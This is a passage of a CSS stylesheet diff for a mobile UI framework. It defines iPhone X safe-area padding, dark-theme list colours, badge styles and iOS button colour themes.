.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row { + padding-right: 0; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .list ul:before, +.list.md .theme-dark ul:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list ul:after, +.list.md .theme-dark ul:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list li li:last-child .item-inner:after, +.list.md .theme-dark li li:last-child .item-inner:after, +.md .theme-dark .list li:last-child li .item-inner:after, +.list.md .theme-dark li:last-child li .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-group-title:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-button:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider, +.md .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .theme-dark .links-list a:after, +.md .theme-dark .simple-list li:after, +.md .theme-dark .links-list a:after, +.links-list.md .theme-dark a .simple-list li:after, +.simple-list.md .theme-dark li:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list .item-link.active-state, +.list.md .theme-dark .item-link.active-state, +.md .theme-dark .list .list-button.active-state, +.list.md .theme-dark .list-button.active-state, +.md .theme-dark .links-list a.active-state, +.links-list.md .theme-dark a.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .item-after, +.md .theme-dark .item-text { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .list-button { + color: #f44336; +} +.md .color-theme-green .list-button { + color: #4caf50; +} +.md .color-theme-blue .list-button { + color: #2196f3; +} +.md .color-theme-pink .list-button { + color: #e91e63; +} +.md .color-theme-yellow .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .list-button { + color: #ff9800; +} +.md .color-theme-gray .list-button { + color: #9e9e9e; +} +.md .color-theme-white .list-button { + color: #ffffff; +} +.md .color-theme-black .list-button { + color: #000000; +} +.md .list .list-button.color-red, +.md .list li.color-red .list-button, +.md .links-list li.color-red a, +.md .simple-list li.color-red, +.md .links-list a.color-red, +.md .list .item-link.color-red, +.md .list li.color-red .item-link { + color: #f44336; +} +.md .list .list-button.color-green, +.md .list li.color-green .list-button, +.md .links-list li.color-green a, +.md .simple-list li.color-green, +.md .links-list a.color-green, +.md .list .item-link.color-green, +.md .list li.color-green .item-link { + color: #4caf50; +} +.md .list .list-button.color-blue, +.md .list li.color-blue .list-button, +.md .links-list li.color-blue a, +.md .simple-list li.color-blue, +.md .links-list a.color-blue, +.md .list .item-link.color-blue, +.md .list li.color-blue .item-link { + color: #2196f3; +} +.md .list .list-button.color-pink, +.md .list li.color-pink .list-button, +.md .links-list li.color-pink a, +.md .simple-list li.color-pink, +.md .links-list a.color-pink, +.md .list .item-link.color-pink, +.md .list li.color-pink .item-link { + color: #e91e63; +} +.md .list .list-button.color-yellow, +.md .list li.color-yellow .list-button, +.md .links-list li.color-yellow a, +.md .simple-list li.color-yellow, +.md .links-list a.color-yellow, +.md .list .item-link.color-yellow, +.md .list li.color-yellow .item-link { + color: #ffeb3b; +} +.md .list .list-button.color-orange, +.md .list li.color-orange .list-button, +.md .links-list li.color-orange a, +.md .simple-list li.color-orange, +.md .links-list a.color-orange, +.md .list .item-link.color-orange, +.md .list li.color-orange .item-link { + color: #ff9800; +} +.md .list .list-button.color-gray, +.md .list li.color-gray .list-button, +.md .links-list li.color-gray a, +.md .simple-list li.color-gray, +.md .links-list a.color-gray, +.md .list .item-link.color-gray, +.md .list li.color-gray .item-link { + color: #9e9e9e; +} +.md .list .list-button.color-white, +.md .list li.color-white .list-button, +.md .links-list li.color-white a, +.md .simple-list li.color-white, +.md .links-list a.color-white, +.md .list .item-link.color-white, +.md .list li.color-white .item-link { + color: #ffffff; +} +.md .list .list-button.color-black, +.md .list li.color-black .list-button, +.md .links-list li.color-black a, +.md .simple-list li.color-black, +.md .links-list a.color-black, +.md .list .item-link.color-black, +.md .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.ios .badge { + font-size: 13px; + border-radius: 20px; + padding: 0 6px; + height: 20px; + line-height: 20px; +} +.item-after .ios .badge { + min-width: 20px; +} +.ios .icon .badge, +.ios .f7-icons .badge, +.ios .framework7-icons .badge, +.ios .material-icons .badge { + line-height: 16px; + height: 16px; + border-radius: 16px; + padding: 0 4px; + min-width: 16px; + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.ios .badge.color-red { + background-color: #ff3b30; +} +.ios .badge.color-green { + background-color: #4cd964; +} +.ios .badge.color-blue { + background-color: #007aff; +} +.ios .badge.color-pink { + background-color: #ff2d55; +} +.ios .badge.color-yellow { + background-color: #ffcc00; +} +.ios .badge.color-orange { + background-color: #ff9500; +} +.ios .badge.color-gray { + background-color: #8e8e93; +} +.ios .badge.color-white { + background-color: #ffffff; +} +.ios .badge.color-black { + background-color: #000000; +} +.md .badge { + font-size: 10px; + border-radius: 3px; + padding: 1px 6px; + vertical-align: middle; +} +.md .icon .badge, +.md .f7-icons .badge, +.md .framework7-icons .badge, +.md .material-icons .badge { + line-height: 1.4; + padding: 1px 5px; + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.md .badge.color-red { + background-color: #f44336; +} +.md .badge.color-green { + background-color: #4caf50; +} +.md .badge.color-blue { + background-color: #2196f3; +} +.md .badge.color-pink { + background-color: #e91e63; +} +.md .badge.color-yellow { + background-color: #ffeb3b; +} +.md .badge.color-orange { + background-color: #ff9800; +} +.md .badge.color-gray { + background-color: #9e9e9e; +} +.md .badge.color-white { + background-color: #ffffff; +} +.md .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.ios .button { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; +} +.ios .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.button-round, +.ios .button.button-round-ios { + border-radius: 29px; +} +.ios .button.button-active, +.ios .button.tab-link-active { + background: #007aff; + color: #fff; +} +.ios .button.button-big, +.ios .button.button-big-ios { + font-size: 17px; + height: 44px; + line-height: 42px; +} +.ios .button.button-small, +.ios .button.button-small-ios { + height: 26px; + line-height: 22px; + border-width: 2px; + font-size: 13px; + font-weight: 600; + text-transform: uppercase; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.ios .button.button-small.button-fill.active-state, +.ios .button.button-small-ios.button-fill.active-state, +.ios .button.button-small.button-fill-ios.active-state, +.ios .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; + opacity: 1; +} +.ios .button.button-fill, +.ios .button.button-fill-ios { + color: #fff; + background: #007aff; + border-color: transparent; +} +.ios .button.button-fill.active-state, +.ios .button.button-fill-ios.active-state { + opacity: 0.8; +} +.ios .button i.icon:first-child { + margin-right: 10px; +} +.ios .button i.icon:last-child { + margin-left: 10px; +} +.ios .button i.icon:first-child:last-child { + margin-left: 0; + margin-right: 0; +} +.ios .segmented .button { + border-radius: 0; + border-left-width: 0; +} +.ios .segmented .button:first-child { + border-radius: 5px 0 0 5px; + border-left-width: 1px; + border-left-style: solid; +} +.ios .segmented .button:first-child.button-small { + border-left-width: 2px; +} +.ios .segmented .button:last-child { + border-radius: 0 5px 5px 0; +} +.ios .segmented .button:first-child:last-child { + border-radius: 5px; +} +.ios .segmented .button.button-round:first-child, +.ios .segmented .button.button-round-ios:first-child { + border-radius: 29px 0 0 29px; +} +.ios .segmented .button.button-round:last-child, +.ios .segmented .button.button-round-ios:last-child { + border-radius: 0 29px 29px 0; +} +.ios .color-theme-red .button { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .button.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active, +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active { + background: #ff3b30; +} +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .color-theme-red .button.button-small.button-fill.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill.active-state, +.ios .color-theme-red .button.button-small.button-fill-ios.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .color-theme-green .button { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .button.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active, +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active { + background: #4cd964; +} +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .color-theme-green .button.button-small.button-fill.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill.active-state, +.ios .color-theme-green .button.button-small.button-fill-ios.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .color-theme-blue .button { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active, +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active { + background: #007aff; +} +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .color-theme-blue .button.button-small.button-fill.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill.active-state, +.ios .color-theme-blue .button.button-small.button-fill-ios.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .color-theme-pink .button { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .button.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active, +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active { + background: #ff2d55; +} +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .color-theme-pink .button.button-small.button-fill.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill.active-state, +.ios .color-theme-pink .button.button-small.button-fill-ios.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .color-theme-yellow .button { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .button.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active, +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active { + background: #ffcc00; +} +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .color-theme-yellow .button.button-small.button-fill.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state, +.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .color-theme-orange .button { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .button.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active, +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active { + background: #ff9500; +} +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .color-theme-orange .button.button-small.button-fill.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill.active-state, +.ios .color-theme-orange .button.button-small.button-fill-ios.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .color-theme-gray .button { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .button.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active, +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active { + background: #8e8e93; +} +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .color-theme-gray .button.button-small.button-fill.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill.active-state, +.ios .color-theme-gray .button.button-small.button-fill-ios.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .color-theme-white .button { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .button.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active, +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active { + background: #ffffff; +} +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .color-theme-white .button.button-small.button-fill.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill.active-state, +.ios .color-theme-white .button.button-small.button-fill-ios.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .color-theme-black .button { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .button.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active, +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active { + background: #000000; +} +.ios .color-theme-black 